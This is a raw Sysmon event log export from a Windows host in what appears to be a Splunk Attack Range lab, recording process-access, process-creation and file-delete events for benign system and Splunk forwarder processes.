14:52:35.904{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015341Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015340Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015339Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015338Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015337Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-67EC-613B-0500-00000000F101}412528C:\Windows\system32\csrss.exe{625C326B-7133-613B-D104-00000000F101}2900C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015336Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7133-613B-D104-00000000F101}2900C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015335Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.904{625C326B-7133-613B-D104-00000000F101}2900C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe8.0.2Registry monitorsplunk ApplicationSplunk Inc.splunk-regmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=91F33F605825B72EE2270559C7AB28F3,SHA256=3DF1CB71BB48B8669BD01179FD94DD8CC82F8103B08A0FACFD366E43E0C5FA42,IMPHASH=23D7D4307FBE7FA4F42B1902826D7C25{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x800000000000000015334Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.403{625C326B-7133-613B-D004-00000000F101}40923536C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015333Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7133-613B-D004-00000000F101}4092C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015332Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015331Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015330Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015329Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015328Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015327Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015326Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015325Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015324Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015323Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-67EC-613B-0500-00000000F101}412428C:\Windows\system32\csrss.exe{625C326B-7133-613B-D004-00000000F101}4092C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000015322Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-6879-613B-A400-00000000F101}20043924C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{625C326B-7133-613B-D004-00000000F101}4092C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000015321Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.232{625C326B-7133-613B-D004-00000000F101}4092C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2C:\Windows\system32\NT AUTHORITY\SYSTEM{625C326B-67ED-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000015320Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:35.154{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=94FF797FCD254F5EF7DC90CC55F7BD89,SHA256=447B032C9B140FAF42261CC1E8A919F049EAE10AEF58796CA1BF9BE7E3EFDC88,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000015363Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-7134-613B-D204-00000000F101}1852C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015362Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015361Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015360Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:52:36.419{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000015359Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 